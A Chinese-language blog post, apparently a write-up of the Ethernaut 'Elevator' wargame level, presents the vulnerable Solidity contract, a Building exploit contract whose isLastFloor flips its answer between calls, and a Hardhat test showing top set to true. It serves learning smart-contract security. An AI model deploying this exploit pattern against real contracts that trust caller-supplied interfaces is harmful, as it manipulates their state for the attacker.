{"content":{"title":"用Hardhat闯关Ethernaut题11 -elevator","body":"# elevator合约\r\n## 任务：其实就是输入一个任意`uint`值通过条件，最后让`top`的值变为`true`就行。\r\n\r\n```\r\n// SPDX-License-Identifier: MIT\r\npragma solidity ^0.6.0;\r\n\r\ninterface BuildingInterface {\r\n    function isLastFloor(uint256) external returns (bool);\r\n}\r\n\r\ncontract Elevator {\r\n    bool public top;\r\n    uint256 public floor;\r\n\r\n    function goTo(uint256 _floor) public {\r\n        BuildingInterface building = BuildingInterface(msg.sender);\r\n        if (!building.isLastFloor(_floor)) {\r\n            floor = _floor;\r\n            top = building.isLastFloor(floor);\r\n        }\r\n    }\r\n}\r\n```\r\n\r\n这里改变top的地方是goTo函数，你需要实现BuildingInterface的bisLastFloor()方法，并且使building.isLastFloor(_floor)一开始是false，然后为ture，达到top=true的结果。总的来说没什么难的，就是实现一个接口就行了。\r\n\r\n## 解题思路：1.创建Building合约，实现isLastFloor方法。2.要building.isLastFloor(_floor)达到一开始是false，然后是true就可以做一个取反操作。\r\n\r\n## 攻击合约：\r\n```\r\n// SPDX-License-Identifier: MIT\r\npragma solidity ^0.6.0;\r\n\r\ninterface ElevatorInterface {\r\n    function goTo(uint256 _floor) external;\r\n}\r\n\r\ncontract Building {\r\n    bool public isTop = true;\r\n    ElevatorInterface elevator;\r\n\r\n    function isLastFloor(uint256) external returns (bool) {\r\n        isTop = !isTop;\r\n\r\n        return isTop;\r\n    }\r\n\r\n    function exploit(address _addr) public {\r\n        elevator = ElevatorInterface(_addr);\r\n        elevator.goTo(10);\r\n    }\r\n}\r\n```\r\n\r\n## 测试脚本：\r\n\r\n```\r\nconst { expect } = require(\"chai\");\r\nconst { ethers } = require(\"hardhat\");\r\nconst { MaxUint256 } = require(\"@ethersproject/constants\");\r\nconst { BigNumber } = require(\"ethers\");\r\nconst { parseEther } = require(\"ethers/lib/utils\");\r\n\r\ndescribe(\"test\", function () {\r\n    var Elevator;\r\n    var Building;\r\n    it(\"init params\", async function () {\r\n        [deployer, ...users] = await ethers.getSigners();\r\n    });\r\n    it(\"deploy\", async function () {\r\n        const ElevatorInstance = await ethers.getContractFactory(\"Elevator\");\r\n        Elevator = await ElevatorInstance.deploy();\r\n        const BuildingInstance = await ethers.getContractFactory(\"Building\");\r\n        Building = await BuildingInstance.deploy();\r\n    });\r\n    it(\"hack test\", async function () {\r\n        expect(await Elevator.top()).to.equal(false);\r\n        await Building.exploit(Elevator.address);\r\n        expect(await Elevator.top()).to.equal(true);\r\n    });\r\n});\r\n```\r\n## 测试结果：\r\n\r\n\r\n![image.png](https://p9-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/d344dd170b544998957100dcfcf6ce7d~tplv-k3u1fbpfcp-watermark.image?)\r\n\r\nGithub：[hardhat测试仓库](https://github.com/Verin1005/Hardhat-Ethernaut)"},"author":{"user":"https://learnblockchain.cn/people/4922","address":null},"history":"QmPnBoKK9AkBPFF7PxezMZxbTh6Y1rdyYkTd6EnfYY6CCb","timestamp":1668158407,"version":1}